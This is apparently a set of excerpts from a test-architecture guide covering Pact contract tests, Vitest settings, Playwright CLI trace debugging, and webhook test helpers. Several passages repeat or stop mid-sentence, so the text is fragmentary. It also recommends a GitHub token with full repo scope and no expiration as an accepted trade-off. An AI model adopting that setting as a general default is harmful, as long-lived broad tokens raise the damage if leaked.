handlers (check if exists, create if not) only need to ensure one record exists. Use different values only when testing different states of the same entity type (e.g., `movieExists(100)` for happy paths vs. `movieNotFound(999)` for error paths). +- **One `addInteraction()` per `it()` block (MANDATORY for PactV4)**: Multiple interactions inside one `it()` cause the Rust FFI to non-deterministically drop interactions. Use one `it()` per interaction or `it.each(...)` for parameterized cases.

The `--debug=cli` flag (Playwright 1.59+) lets agents attach, step through execution, and inspect page state without ever opening a browser window. + +## How CLI Relates to Playwright Utils and API Testing + +CLI and playwright-utils are **complementary tools that work at different layers**: + +| | Playwright CLI | Playwright Utils | +| ------------ | -------------------------------------------- | ------------------------------------------------ | +| **When** | During test _generation_ (the agent uses it) | During test _execution_ (your test code uses it) | +| **What** | Shell commands to observe your app | Fixtures and helpers imported in test files | +| **Examples** | `snapshot`, `screenshot`, `network` | `apiRequest`, `auth-session`, `network-recorder` | + +They work together naturally.

But **trace analysis is highly valuable**. Playwright captures full network traces for API tests (requests, responses, headers, timing), and the trace CLI lets the agent inspect them programmatically: + +```bash +# API test fails in CI → open the trace artifact +npx playwright trace open test-results/api-users/trace.zip + +# What HTTP call failed? +npx playwright trace requests --failed +# Output: #3 POST /api/users → 422 12ms + +# Full request/response details (headers, body, timing) +npx playwright trace request 3 + +# What assertion failed and why? +npx playwright trace errors + +# Done +npx playwright trace close +``` + +This gives the agent the full HTTP conversation — wrong payload, expired auth token, schema mismatch, upstream 5xx — without a human opening UI mode. The agent generates API tests directly from documentation, specs, or code analysis using `apiRequest` and `recurse` from playwright-utils, and uses trace analysis to diagnose failures. + +**For E2E testing**, CLI shines at both ends — browser commands (snapshot, screenshot) during test generation, and trace analysis (actions, snapshots, requests) during debugging. + +**Bottom line:** CLI helps the agent _write better tests_. Playwright-utils helps those tests _run reliably_. Trace analysis helps the agent _fix them when they break_. + +## Session Isolation + +Every CLI command targets a named session. This prevents workflows from interfering with each other: + +```bash +# Workflow A uses one session +playwright-cli -s=tea-explore open https://app.com + +# Workflow B uses a different session (can run in parallel) +playwright-cli -s=tea-verify open https://app.com/admin +``` + +For parallel safety (multiple agents on the same machine), append a unique suffix: + +```bash +playwright-cli -s=tea-explore-<timestamp> open https://app.com +``` + +## Autonomous Trace Investigation (Playwright 1.59+) + +For generated tests that already exist and are failing, Playwright 1.59 introduced CLI-native debugging and trace analysis designed specifically for AI agents.

Manual healing captures these patterns for future automation. + +## Rationale + +**The Problem**: Test failures waste developer time on repetitive debugging. Teams manually fix the same selector issues, timing bugs, and data mismatches repeatedly across test suites. + +**The Solution**: Catalog common failure patterns with diagnostic signatures and automated fixes. When a test fails, match the error message/stack trace against known patterns and apply the corresponding fix. This transforms test maintenance from reactive debugging to proactive pattern application. + +**Why This Matters**: + +- Reduces test maintenance time by 60-80% (pattern-based fixes vs manual

See the `pactjs-utils-overview.md`, `pactjs-utils-consumer-helpers.md`, `pactjs-utils-provider-verifier.md`, and `pactjs-utils-request-filter.md` fragments for the simplified approach. + +## Pattern Examples + +### Example 1: Pact Consumer Test (Frontend → Backend API) + +**Context**: React application consuming a user management API, defining expected interactions. + +**Implementation**: + +```typescript +// tests/contract/user-api.pact.spec.ts +import { PactV3, MatchersV3 } from '@pact-foundation/pact'; +import { getUserById, createUser, User } from '@/api/user-service'; + +const { like, eachLike, string, integer } = MatchersV3; + +/** + * Consumer-Driven Contract Test + * - Consumer (React app) defines expected API behavior + * - Generates pact file for provider to verify + * - Runs in isolation (no real backend required) + */ + +const provider = new PactV3({ + consumer: 'user-management-web', + provider: 'user-api-service', + dir: './pacts', // Output directory for pact files + logLevel: 'warn', +}); + +describe('User API Contract', () => { + describe('GET /users/:id', () => { + it('should return user when user exists', async () => { + // Arrange: Define expected interaction + await provider + .given('user with id 1 exists') // Provider state + .uponReceiving('a request for user 1') + .withRequest({ + method: 'GET', + path: '/users/1', + headers: { + Accept: 'application/json', + Authorization: like('Bearer token123'), // Matcher: any string + }, + }) + .willRespondWith({ + status: 200, + headers: { + 'Content-Type': 'application/json', + }, + body: like({ + id: integer(1), + name: string('John Doe'), + email: string('john@example.com'), + role: string('user'), + createdAt: string('2025-01-15T10:00:00Z'), + }), + }) + .executeTest(async (mockServer) => { + // Act: Call consumer code against mock server + const user = await getUserById(1, { + baseURL: mockServer.url, + headers: { Authorization: 'Bearer token123' }, + }); + + // Assert: Validate consumer behavior + expect(user).toEqual( + expect.objectContaining({ + id: 1, + name: 'John Doe', + email: 'john@example.com', + role: 'user', + }), + ); + }); + }); + + it('should handle 404 when user does not exist', async () => { + await provider + .given('user with id 999 does not exist') + .uponReceiving('a request for non-existent user') + .withRequest({ + method: 'GET', + path: '/users/999', + headers: { Accept: 'application/json' }, + }) + .willRespondWith({ + status: 404, + headers: { 'Content-Type': 'application/json' }, + body: { + error: 'User not found', + code: 'USER_NOT_FOUND', + }, + }) + .executeTest(async (mockServer) => { + // Act & Assert: Consumer handles 404 gracefully + await expect(getUserById(999, { baseURL: mockServer.url })).rejects.toThrow('User not found'); + }); + }); + }); + + describe('POST /users', () => { + it('should create user and return 201', async () => { + const newUser: Omit<User, 'id' | 'createdAt'> = { + name: 'Jane Smith', + email: 'jane@example.com', + role: 'admin', + }; + + await provider + .given('no users exist') + .uponReceiving('a request to create a user') + .withRequest({ + method: 'POST', + path: '/users', + headers: { + 'Content-Type': 'application/json', + Accept: 'application/json', + }, + body: newUser, + }) + .willRespondWith({ + status: 201, + headers: { 'Content-Type': 'application/json' }, + body: like({ + id: integer(2), + name: string('Jane Smith'), + email: string('jane@example.com'), + role: string('admin'), + createdAt: string('2025-01-15T11:00:00Z'), + }), + }) + .executeTest(async (mockServer) => { + const createdUser = await createUser(newUser, { + baseURL: mockServer.url, + }); + + expect(createdUser).toEqual( + expect.objectContaining({ + id: expect.any(Number), + name: 'Jane Smith', + email: 'jane@example.com', + role: 'admin', + }), + ); + }); + }); + }); +}); +``` + +**package.json scripts** (when using pactjs-utils conventions, prefer `test:pact:consumer` naming — see `pact-consumer-framework-setup.md`): + +```json +{ + "scripts": { + "test:pact:consumer": "./scripts/check-pact-determinism.sh 'npm run test:pact:consumer:run' 3 ./pacts", + "test:pact:consumer:run": "vitest run --config vitest.config.pact.ts", + "publish:pact": ". ./scripts/env-setup.sh && ./scripts/publish-pact.sh" + } +} +``` + +**Key Points**: + +- **Consumer-driven**: Frontend defines expectations, not backend +- **Matchers (Postel's Law)**: Use `like`, `string`, `integer` matchers in `willRespondWith` (responses) for flexible matching.

GitHub warns against this for human users; for a locked-down machine-user PAT stored in PactFlow's secret vault, the security trade-off is documented and accepted. +- The alternative — rotating a PAT every 30/60/90 days — requires tooling and coordination most teams don't yet have.

Configure the token: + - Name: `pactflow-webhook-<yyyy-mm-dd>` + - Expiration: **No expiration** (accepted trade-off for a locked-down machine-user token stored in PactFlow's secret vault) + - Scopes: **`repo`** (full repo scope is required by `repository_dispatch`; `public_repo` alone is insufficient for private repos) +4. Copy the new token value (shown only once). +5. In PactFlow UI: `Settings → Secrets → <secret-name>` (e.g., `githubToken`). Paste the new token into the **value** field and save. The webhook does not need to be edited — it references the secret by name via `${user.<secret-name>}`. +6. Re-test the webhook: `Settings → Webhooks → <webhook-id> → Test`. Expect `HTTP/1.1 204 No Content` (GitHub's success response for `repository_dispatch`). +7. In the provider repo: watch `Actions → contract-test-provider` for the newly dispatched run.

Consistency across repositories eliminates onboarding friction and ensures CI pipelines are copy-paste portable. + +## Rationale + +The TEA framework workflow generates scaffolding for consumer-driven contract (CDC) testing. Without opinionated, battle-tested conventions, each project invents its own structure — different script names, different env var patterns, different CI step ordering — making cross-repo maintenance expensive. This fragment codifies the production-proven patterns from the pactjs-utils reference implementation so that every new project starts correctly. + +## Pattern Examples + +### Example 1: Directory Structure & File Naming + +**Context**: Consumer contract test project layout using pactjs-utils conventions. + +**Implementation**: + +``` +tests/contract/ +├── consumer/ +│ ├── get-filter-fields.pacttest.ts # Consumer test (one per endpoint group) +│ ├── filter-transactions.pacttest.ts +│ └── get-transaction-stats.pacttest.ts +└── support/ + ├── pact-config.ts # PactV4 factory (consumer/provider names, output dir) + ├── provider-states.ts # Provider state factory functions + └── consumer-helpers.ts # Local shim (until pactjs-utils is published) + +scripts/ +├── env-setup.sh # Shared env loader (sourced by all broker scripts) +├── publish-pact.sh # Publish pact files to broker +├── can-i-deploy.sh # Deployment safety check +└── record-deployment.sh # Record deployment after merge + +.github/ +├── actions/ +│ └── detect-breaking-change/ +│ └── action.yml # PR checkbox-driven breaking change detection +└── workflows/ + └── contract-test-consumer.yml # Consumer CDC CI workflow +``` + +**Key Points**: + +- Consumer tests use `.pacttest.ts` extension (not `.pact.spec.ts` or `.contract.ts`) +- Support files live in `tests/contract/support/`, not mixed with consumer tests +- Shell scripts live in `scripts/` at project root, not nested inside test directories +- CI workflow named `contract-test-consumer.yml` (not `pact-consumer.yml` or other variants) + +--- + +### Example 2: Vitest Configuration for Pact + +**Context**: Minimal vitest config dedicated to contract tests — do NOT copy settings from the project's main `vitest.config.ts`. + +**Implementation**: + +```typescript +// vitest.config.pact.ts +// See pact-consumer-framework-setup.md Example 2 "Key Points" for rationale on +// fileParallelism + pool:forks + singleFork.

Without it, parallel workers race on the shared pact JSON file and corrupt interactions. Symptom: local runs pass, CI randomly fails with `Cannot change pact content for already published pact`. See Example 10 for the determinism gate that enforces byte-stability across re-runs. +- **`pool: 'forks'` + `singleFork: true` is required for multi-file consumer suites** — same config the provider side uses (`pactjs-utils-provider-verifier.md` Example 7). Best current understanding: the `@pact-foundation/pact` napi-rs binding is not robust across Vitest worker threads sharing a process; with the default threads pool (Vitest v1) and multiple `.pacttest.ts` files on the same consumer+provider pair, we observed reproducible "request was expected but not received" flakes on Linux CI only. `singleFork: true` serializes every pact file into one forked subprocess and eliminated the flake on two repos (`pactjs-utils`, `seon-mcp-server`). Vitest v2+ defaults to `forks`, but set the pool explicitly so the contract does not drift with Vitest version bumps. +- **Single-file consumer suites** (one `.pacttest.ts` per consumer+provider pair) have not been observed to flake under default threads pool, because FFI state is not shared across files when there is only one file. Adding `pool: 'forks'` is still recommended — it future-proofs you the moment a second file is added — but a suite passing today with only `fileParallelism: false` is not broken. +- **Interacting settings**: leave `isolate` at its default (`true`). Do NOT set `sequence.concurrent: true`, `maxConcurrency > 1`, or `maxWorkers > 1` in this config — they defeat the serialization this rule relies on. `hookTimeout` may be raised if mock-server startup is slow, but keep `testTimeout` ≥ `hookTimeout`. +- Do NOT add `setupFiles`, `coverage`, or other settings from the unit test config +- Keep it minimal — Pact tests run in Node environment with extended timeout +- 30 second timeout accommodates Pact mock server startup and interaction verification +- Use a dedicated config file (`vitest.config.pact.ts`), not the main vitest config + +--- + +### Example 3: Package.json Script Naming + +**Context**: Colon-separated naming matching pactjs-utils exactly.

This is the command CI and developers run before pushing. See Example 10 for the `check-pact-determinism.sh` script itself. +- **`test:pact:consumer:run` is the fast inner command** for TDD loops (a single pass of the suite, no gate).

+``` + +**Key Points**: + +- Use `setJsonContent` when the interaction needs `query`, `headers`, and/or `body` in one callback (most request builders) +- Use `setJsonBody` when you only need `jsonBody` and want the shorter `.willRespondWith(status, setJsonBody(...))` form +- `setJsonBody` is equivalent to `setJsonContent({ body: ... })` + +### Example 6: One `addInteraction()` per `it()` Block (PactV4 Determinism Rule) + +**Context**: PactV4's `pact.addInteraction()` feeds the Rust FFI layer that writes interactions to the pact JSON. Chaining multiple `.addInteraction()...executeTest()` blocks inside a single `it()` — or otherwise registering multiple interactions before a single `executeTest` — causes the FFI to **non-deterministically drop whole interactions** (not individual fields) in roughly 1 out of N runs. The pattern passes locally, then fails intermittently in CI or at publish time with `Cannot change pact content for already published pact` once the dropped interaction reappears on a re-run. + +**Rule**: Exactly one `pact.addInteraction()` per `it()` block. For N interactions, write N `it()` blocks, or use `it.each(...)`. + +```typescript +// ❌ WRONG — two addInteraction() inside one it() — FFI non-deterministically drops one +it('handles movie lookup scenarios', async () => { + await pact + .addInteraction() + .given('movie exists') + .uponReceiving('a request to get movie by id') + .withRequest('GET', '/movies/1') + .willRespondWith(200, setJsonBody({ id: integer(1), name: string('The Matrix') })) + .executeTest(async (mockServer) => { + /* ... */ + }); + + // Sometimes this second interaction never makes it to the pact JSON: + await pact + .addInteraction() + .given('no movies exist') + .uponReceiving('a request for an empty list') + .withRequest('GET', '/movies') + .willRespondWith(200, setJsonBody([])) + .executeTest(async (mockServer) => { + /* ... */ + }); +}); + +// ✅ RIGHT — one addInteraction() per it() +it('gets a movie by id', async () => { + await pact + .addInteraction() + .given('movie exists') + .uponReceiving('a request to get movie by id') + .withRequest('GET', '/movies/1') + .willRespondWith(200, setJsonBody({ id: integer(1), name: string('The Matrix') })) + .executeTest(async (mockServer) => { + /* ... */ + }); +}); + +it('returns empty list when no movies exist', async () => { + await pact + .addInteraction() + .given('no movies exist') + .uponReceiving('a request for an empty list') + .withRequest('GET', '/movies') + .willRespondWith(200, setJsonBody([])) + .executeTest(async (mockServer) => { + /* ... */ + }); +}); + +// ✅ RIGHT — parameterized via it.each for data-driven coverage +it.each([ + { id: 1, name: 'The Matrix' }, + { id: 2, name: 'Inception' }, +])('gets movie $id', async ({ id, name }) => { + await pact + .addInteraction() + .given('movie exists', { id, name }) + .uponReceiving(`a request to get movie ${id}`) + .withRequest('GET', `/movies/${id}`) + .willRespondWith(200, setJsonBody({ id: integer(id), name: string(name) })) + .executeTest(async (mockServer) => { + /* ... */ + }); +}); +``` + +**Key Points**: + +- **This rule stacks with two other MANDATORY vitest settings**: `fileParallelism: false` AND `pool: 'forks'` with `poolOptions.forks.singleFork: true`. All three are required and address different failure modes — `fileParallelism: false` prevents parallel workers from racing on the shared pact JSON; `pool: 'forks'` + `singleFork: true` prevents the Pact Rust FFI from leaking state across files (manifests as "request was expected but not received" flakes on Linux CI only); one-interaction-per-`it()` prevents the FFI from dropping interactions within a single test body. +- Symptom of violating this rule: the pact file is byte-different between otherwise-identical runs; `scripts/check-pact-determinism.sh` flags drift; PactFlow rejects a republish with `Cannot change pact content`. +- The rule applies to both HTTP consumer pacts (`PactV4`) and message consumer pacts (`MessageConsumerPact`). +- See `pact-consumer-framework-setup.md` Example 10 for the determinism gate that automatically catches violations of this rule. + +## Key Points + +- **Spread pattern**: Always use `...createProviderState()` — the tuple spreads into `.given(stateName, params)` +- **Type safety**: TypeScript enforces `{ name: string, params: Record<string, unknown> }` input (both fields required) +- **Null handling**: `null` becomes `"null"` string in JsonMap (Pact requirement) +- **Date handling**: Date objects become ISO 8601 strings +- **No nested objects in JsonMap**: Nested objects are JSON-stringified — provider state handlers must parse them +- **Array serialization is lossy**: Arrays are converted via `String()` (e.g., `[1,2,3]` → `"1,2,3"`) — prefer passing arrays as JSON-stringified objects for round-trip safety +- **Message pacts**: Works identically with `MessageConsumerPact` — same `.given()` API +- **Builder reuse**: `setJsonContent` works for both `.withRequest(...)` and `.willRespondWith(...)` callbacks (query is ignored on response builders) +- **Body shorthand**: `setJsonBody` keeps body-only responses concise and readable +- **Matchers check type, not value**: `string('My movie')` means "any string", `integer(1)` means "any integer". The example values are arbitrary — the provider can return different values and verification still passes as long as the type matches. Use matchers only in `.willRespondWith()` (responses), never in `.withRequest()` (requests) — Postel's Law applies. +- **Reuse test values across files**: Interactions are uniquely identified by `uponReceiving` + `.given()`, not by placeholder values. Two test files can both use `testId: 100` without conflicting. On the provider side, shared values simplify state handlers — idempotent handlers (check if exists, create if not) only need to ensure one record exists. Use different values only when testing different states of the same entity type (e.g., `movieExists(100)` for happy paths vs. `movieNotFound(999)` for error paths). +- **One `addInteraction()` per `it()` block (MANDATORY for PactV4)**: Multiple interactions inside one `it()` cause the Rust FFI to non-deterministically drop interactions. Use one `it()` per interaction or `it.each(...)` for parameterized cases.

The `--debug=cli` flag (Playwright 1.59+) lets agents attach, step through execution, and inspect page state without ever opening a browser window. + +## How CLI Relates to Playwright Utils and API Testing + +CLI and playwright-utils are **complementary tools that work at different layers**: + +| | Playwright CLI | Playwright Utils | +| ------------ | -------------------------------------------- | ------------------------------------------------ | +| **When** | During test _generation_ (the agent uses it) | During test _execution_ (your test code uses it) | +| **What** | Shell commands to observe your app | Fixtures and helpers imported in test files | +| **Examples** | `snapshot`, `screenshot`, `network` | `apiRequest`, `auth-session`, `network-recorder` | + +They work together naturally. The agent uses CLI to _understand_ your app, then generates test code that _imports_ playwright-utils: + +```bash +# Agent uses CLI to observe network traffic on the dashboard page +playwright-cli -s=tea-discover open https://app.com/dashboard +playwright-cli -s=tea-discover network +# Output: GET /api/users → 200, POST /api/audit → 201, GET /api/settings → 200 +playwright-cli -s=tea-discover close +``` + +```typescript +// Agent generates API tests using what it discovered, with playwright-utils +import { test } from '@seontechnologies/playwright-utils/api-request/fixtures'; + +test('GET /api/users returns user list', async ({ apiRequest }) => { + const { status, body } = await apiRequest<User[]>({ + method: 'GET', + path: '/api/users', + }); + expect(status).toBe(200); + expect(body.length).toBeGreaterThan(0); +}); +``` + +**For pure API testing** (no UI involved), `playwright-cli` browser commands (snapshot, screenshot, click) don't apply — there's no page. But **trace analysis is highly valuable**. Playwright captures full network traces for API tests (requests, responses, headers, timing), and the trace CLI lets the agent inspect them programmatically: + +```bash +# API test fails in CI → open the trace artifact +npx playwright trace open test-results/api-users/trace.zip + +# What HTTP call failed? +npx playwright trace requests --failed +# Output: #3 POST /api/users → 422 12ms + +# Full request/response details (headers, body, timing) +npx playwright trace request 3 + +# What assertion failed and why? +npx playwright trace errors + +# Done +npx playwright trace close +``` + +This gives the agent the full HTTP conversation — wrong payload, expired auth token, schema mismatch, upstream 5xx — without a human opening UI mode. The agent generates API tests directly from documentation, specs, or code analysis using `apiRequest` and `recurse` from playwright-utils, and uses trace analysis to diagnose failures. + +**For E2E testing**, CLI shines at both ends — browser commands (snapshot, screenshot) during test generation, and trace analysis (actions, snapshots, requests) during debugging. + +**Bottom line:** CLI helps the agent _write better tests_. Playwright-utils helps those tests _run reliably_. Trace analysis helps the agent _fix them when they break_. + +## Session Isolation + +Every CLI command targets a named session. This prevents workflows from interfering with each other: + +```bash +# Workflow A uses one session +playwright-cli -s=tea-explore open https://app.com + +# Workflow B uses a different session (can run in parallel) +playwright-cli -s=tea-verify open https://app.com/admin +``` + +For parallel safety (multiple agents on the same machine), append a unique suffix: + +```bash +playwright-cli -s=tea-explore-<timestamp> open https://app.com +``` + +## Autonomous Trace Investigation (Playwright 1.59+) + +For generated tests that already exist and are failing, Playwright 1.59 introduced CLI-native debugging and trace analysis designed specifically for AI agents.

Manual healing captures these patterns for future automation. + +## Rationale + +**The Problem**: Test failures waste developer time on repetitive debugging. Teams manually fix the same selector issues, timing bugs, and data mismatches repeatedly across test suites. + +**The Solution**: Catalog common failure patterns with diagnostic signatures and automated fixes. When a test fails, match the error message/stack trace against known patterns and apply the corresponding fix. This transforms test maintenance from reactive debugging to proactive pattern application. + +**Why This Matters**: + +- Reduces test maintenance time by 60-80% (pattern-based fixes vs manual

Self-cleaning tests prevent state pollution in parallel runs. + +## Pattern Examples + +### Example 1: Deterministic Test Pattern + +**Context**: When writing tests, eliminate all sources of non-determinism: hard waits, conditionals controlling flow, try-catch for flow control, and random data without seeds. + +**Implementation**: + +```typescript +// ❌ BAD: Non-deterministic test with conditionals and hard waits +test('user can view dashboard - FLAKY', async ({ page }) => { + await page.goto('/dashboard'); + await page.waitForTimeout(3000); // NEVER - arbitrary wait + + // Conditional flow control - test behavior varies + if (await page.locator('[data-testid="welcome-banner"]').isVisible()) { + await page.click('[data-testid="dismiss-banner"]'); + await page.waitForTimeout(500); + } + + // Try-catch for flow control - hides real issues + try { + await page.click('[data-testid="load-more"]'); + } catch (e) { + // Silently continue - test passes even if button missing + } + + // Random data without control + const randomEmail = `user${Math.random()}@example.com`; + await expect(page.getByText(randomEmail)).toBeVisible(); // Will fail randomly +}); + +// ✅ GOOD: Deterministic test with explicit waits +test('user can view dashboard', async ({ page, apiRequest }) => { + const user = createUser({ email: 'test@example.com', hasSeenWelcome: true }); + + // Setup via API (fast, controlled) + await apiRequest.post('/api/users', { data: user }); + + // Network-first: Intercept BEFORE navigate + const dashboardPromise = page.waitForResponse((resp) => resp.url().includes('/api/dashboard') && resp.status() === 200); + + await page.goto('/dashboard'); + + // Wait for actual response, not arbitrary time + const dashboardResponse = await dashboardPromise; + const dashboard = await dashboardResponse.json(); + + // Explicit assertions with controlled data + await expect(page.getByText(`Welcome, ${user.name}`)).toBeVisible(); + await expect(page.getByTestId('dashboard-items')).toHaveCount(dashboard.items.length); + + // No conditionals - test always executes same path + // No try-catch - failures bubble up clearly +}); + +// Cypress equivalent +describe('Dashboard', () => { + it('should display user dashboard', () => { + const user = createUser({ email: 'test@example.com', hasSeenWelcome: true }); + + // Setup via task (fast, controlled) + cy.task('db:seed', { users: [user] }); + + // Network-first interception + cy.intercept('GET', '**/api/dashboard').as('getDashboard'); + + cy.visit('/dashboard'); + + // Deterministic wait for response + cy.wait('@getDashboard').then((interception) => { + const dashboard = interception.response.body; + + // Explicit assertions + cy.contains(`Welcome, ${user.name}`).should('be.visible'); + cy.get('[data-cy="dashboard-items"]').should('have.length', dashboard.items.length); + }); + }); +}); +``` + +**Key Points**: + +- Replace `waitForTimeout()` with `waitForResponse()` or element state checks +- Never use if/else to control test flow - tests should be deterministic +- Avoid try-catch for flow control - let failures bubble up clearly +- Use factory functions with controlled data, not `Math.random()` +- Network-first pattern prevents race conditions + +### Example 2: Isolated Test with Cleanup + +**Context**: When tests create data, they must clean up after themselves to prevent state pollution in parallel runs.

Without the drain, the create webhook may remain in the journal and interfere with cleanup or subsequent polling. + +```typescript +test('movie deletion triggers a webhook with correct payload', async ({ authToken, addMovie, deleteMovie, webhookRegistry }) => { + const movie = generateMovieWithoutId(); + const { body: createResponse } = await addMovie(authToken, movie); + const movieId = createResponse.data.id; + + await log.step('Drain the create webhook before testing the delete path'); + await webhookRegistry.waitFor(movieCreated(movieId)); // drain — consume the create event + + await deleteMovie(authToken, movieId); + + await log.step('Wait for the delete webhook'); + const webhook = await webhookRegistry.waitFor(movieDeleted(movieId)); + + expect(webhook.body).toMatchObject({ + event: 'movie.deleted', + data: { id: movieId, name: movie.name }, + }); +}); +``` + +**Why drain?** If you skip the drain and go directly to `waitFor(movieDeleted)`, the create webhook is already in the journal. The delete webhook may arrive and be cleaned up by another test before your poll reaches it. Draining makes the event order explicit and removes the ambiguity. + +### Example 3: waitForCount — collect N webhooks concurrently + +Collect exactly N matching webhooks. Use `matchPredicate` with all IDs to prevent cross-worker contamination when running `fullyParallel: true`: + +```typescript +await log.step('Create two movies concurrently'); +const [{ body: res1 }, { body: res2 }] = await Promise.all([ + addMovie(authToken, generateMovieWithoutId()), + addMovie(authToken, generateMovieWithoutId()), +]); + +const [id1, id2] = [res1.data.id, res2.data.id]; + +const batchTemplate = webhookTemplate<{ + event: string; + data: { id: number }; +}>('movie.created.batch') + .matchField('event', 'movie.created') + .matchPredicate(`data.id is ${id1} or ${id2}`, (p) => p.data.id === id1 || p.data.id === id2) + .withTimeout(15_000) + .withInterval(500) + .build(); + +const webhooks = await webhookRegistry.waitForCount(batchTemplate, 2); + +expect(webhooks).toHaveLength(2); +const receivedIds = webhooks.map((w) => w.body.data.id); +expect(receivedIds).toContain(id1); +expect(receivedIds).toContain(id2); +expect(new Set(receivedIds).size).toBe(2); // guard against the same ID delivered twice +``` + +### Example 4: getReceived — query without waiting + +Query the journal without polling. Useful for asserting presence of webhooks after a `waitFor`, or for method/URL filtering. + +```typescript +await webhookRegistry.waitFor(movieCreated(movieId)); // wait first + +const all = await webhookRegistry.getReceived(); +expect(all.length).toBeGreaterThanOrEqual(1); + +// Method filter — all sample-app webhooks are delivered via POST +const postOnly = await webhookRegistry.getReceived({ method: 'POST' }); +expect(postOnly.every((w) => w.method === 'POST')).toBe(true); + +// URL pattern filter — match the webhooks endpoint path +const byUrl = await webhookRegistry.getReceived({ urlPattern: '/webhooks' }); +expect(byUrl.every((w) => w.url.includes('/webhooks'))).toBe(true); +``` + +`getReceived` accepts `WebhookQueryFilter`: + +```typescript +type WebhookQueryFilter = { + urlPattern?: string; // glob or regex string + method?: string; // HTTP method filter + since?: Date; // only return webhooks after this timestamp +}; +``` + +Note: `getReceived` is a direct passthrough to the provider — it does **not** automatically apply the `startedAt` filter. Only `waitFor` and `waitForCount` apply the since-filter internally during polling. If you need to scope a manual `getReceived` call to this test's time window, record your own timestamp before the action under test and pass `{ since: myTimestamp }` explicitly. + +## Parallel Worker Safety + +Always scope template factories to the entity's ID: + +```typescript +// ✅ Scoped — only matches webhooks for this specific movie +const movieCreated = (movieId: number) => + webhookTemplate('movie.created') + .matchField('event', 'movie.created') + .matchField('data.id', movieId) // scoped by ID + .build(); + +// ❌ Unscoped — will match any movie.created from any parallel worker +const movieCreatedUnscoped = webhookTemplate('movie.created').matchField('event', 'movie.created').build(); +``` + +## Method Summary + +| Method | Returns | Description | +| --------------------------- | ------------------------------- | ------------------------------------------------------------------------------------------------- | +| `waitFor(template)` | `Promise<ReceivedWebhook<T>>` | Poll until first match; throws `WebhookTimeoutError` on timeout | +| `waitForCount(template, n)` | `Promise<ReceivedWebhook<T>[]>` | Poll until N matches; throws `WebhookTimeoutError` on timeout | +| `getReceived(filter?)` | `Promise<ReceivedWebhook[]>` | Direct passthrough to provider — no automatic since-filter; pass `{ since }` explicitly if needed | +| `resetJournal()` | `Promise<void>` | Wipe the entire journal and clear matchedIds | +| `cleanup()` | `Promise<void>` | Delete matched webhooks (`matched-only`) or reset journal (`full-reset`) | + +## Anti-Patterns + +**DON'T skip the drain for sequential events:** + +```typescript +// Bad: direct jump to delete webhook — create webhook pollutes the journal +await addMovie(authToken, movie); +const webhook = await webhookRegistry.waitFor(movieDeleted(movieId)); +``` + +**DO drain preceding events:** + +```typescript +// Good: drain create first, then wait for delete +await webhookRegistry.waitFor(movieCreated(movieId)); // drain +await deleteMovie(authToken, movieId); +const webhook = await webhookRegistry.waitFor(movieDeleted(movieId)); +``` + +## Related Fragments +

Contract testing decouples services: consumers define expectations (pact files), providers verify against those expectations independently.

The library handles JsonMap conversion, verifier configuration, and request filter assembly automatically.

+// const order = await seedOrder({ userId: user.id, total: 100 }); +// +// await page.goto(`/orders/${order.id}`); +// await expect(page.getByText('Order Total: $100')).toBeVisible(); +// +// // No manual cleanup needed—fixture handles it automatically +// }); +``` + +**Key Points**: + +- Track all created resources in array during test execution +- Teardown (after `use()`) deletes all tracked resources +- Tests don't manually clean up—happens automatically +- Prevents test pollution and flakiness from shared state + +### Anti-Pattern: Inheritance-Based Page Objects + +**Problem**: + +```typescript +// ❌ BAD: Page Object Model with inheritance +class BasePage { + constructor(public page: Page) {} + + async navigate(url: string) { + await this.page.goto(url);

+ await this.navigate('/admin'); + } +} +``` + +**Why It Fails**: + +- Changes to `BasePage` break all descendants (`LoginPage`, `AdminPage`) +- `AdminPage` inherits unnecessary `login` details—tight coupling +- Cannot compose capabilities (e.g., admin + reporting features require multiple inheritance) +- Hard to test `BasePage` methods in isolation +- Hidden state in class instances leads to unpredictable behavior + +**Better Approach**: Use pure functions + fixtures + +```typescript +// ✅ GOOD: Pure functions with fixture composition +// helpers/navigation.ts +export async function navigate(page: Page, url: string) { + await page.goto(url);

Configure the token: + - Name: `pactflow-webhook-<yyyy-mm-dd>` + - Expiration: **No expiration** (accepted trade-off for a locked-down machine-user token stored in PactFlow's secret vault) + - Scopes: **`repo`** (full repo scope is required by `repository_dispatch`; `public_repo` alone is insufficient for private repos) +4. Copy the new token value (shown only once). +5. In PactFlow UI: `Settings → Secrets → <secret-name>` (e.g., `githubToken`). Paste the new token into the **value** field and save. The webhook does not need to be edited — it references the secret by name via `${user.<secret-name>}`. +6. Re-test the webhook: `Settings → Webhooks → <webhook-id> → Test`. Expect `HTTP/1.1 204 No Content` (GitHub's success response for `repository_dispatch`). +7. In the provider repo: watch `Actions → contract-test-provider` for the newly dispatched run.

Without opinionated, battle-tested conventions, each project invents its own structure — different script names, different env var patterns, different CI step ordering — making cross-repo maintenance expensive.

Without it, parallel workers race on the shared pact JSON file and corrupt interactions. Symptom: local runs pass, CI randomly fails with `Cannot change pact content for already published pact`. See Example 10 for the determinism gate that enforces byte-stability across re-runs. +- **`pool: 'forks'` + `singleFork: true` is required for multi-file consumer suites** — same config the provider side uses (`pactjs-utils-provider-verifier.md` Example 7). Best current understanding: the `@pact-foundation/pact` napi-rs binding is not robust across Vitest worker threads sharing a process; with the default threads pool (Vitest v1) and multiple `.pacttest.ts` files on the same consumer+provider pair, we observed reproducible "request was expected but not received" flakes on Linux CI only. `singleFork: true` serializes every pact file into one forked subprocess and eliminated the flake on two repos (`pactjs-utils`, `seon-mcp-server`). Vitest v2+ defaults to `forks`, but set the pool explicitly so the contract does not drift with Vitest version bumps. +- **Single-file consumer suites** (one `.pacttest.ts` per consumer+provider pair) have not been observed to flake under default threads pool, because FFI state is not shared across files when there is only one file. Adding `pool: 'forks'` is still recommended — it future-proofs you the moment a second file is added — but a suite passing today with only `fileParallelism: false` is not broken. +- **Interacting settings**: leave `isolate` at its default (`true`). Do NOT set `sequence.concurrent: true`, `maxConcurrency > 1`, or `maxWorkers > 1` in this config — they defeat the serialization this rule relies on. `hookTimeout` may be raised if mock-server startup is slow, but keep `testTimeout` ≥ `hookTimeout`. +- Do NOT add `setupFiles`, `coverage`, or other settings from the unit test config +- Keep it minimal — Pact tests run in Node environment with extended timeout +- 30 second timeout accommodates Pact mock server startup and interaction verification +- Use a dedicated config file (`vitest.config.pact.ts`), not the main vitest config + +--- + +### Example 3: Package.json Script Naming + +**Context**: Colon-separated naming matching pactjs-utils exactly.

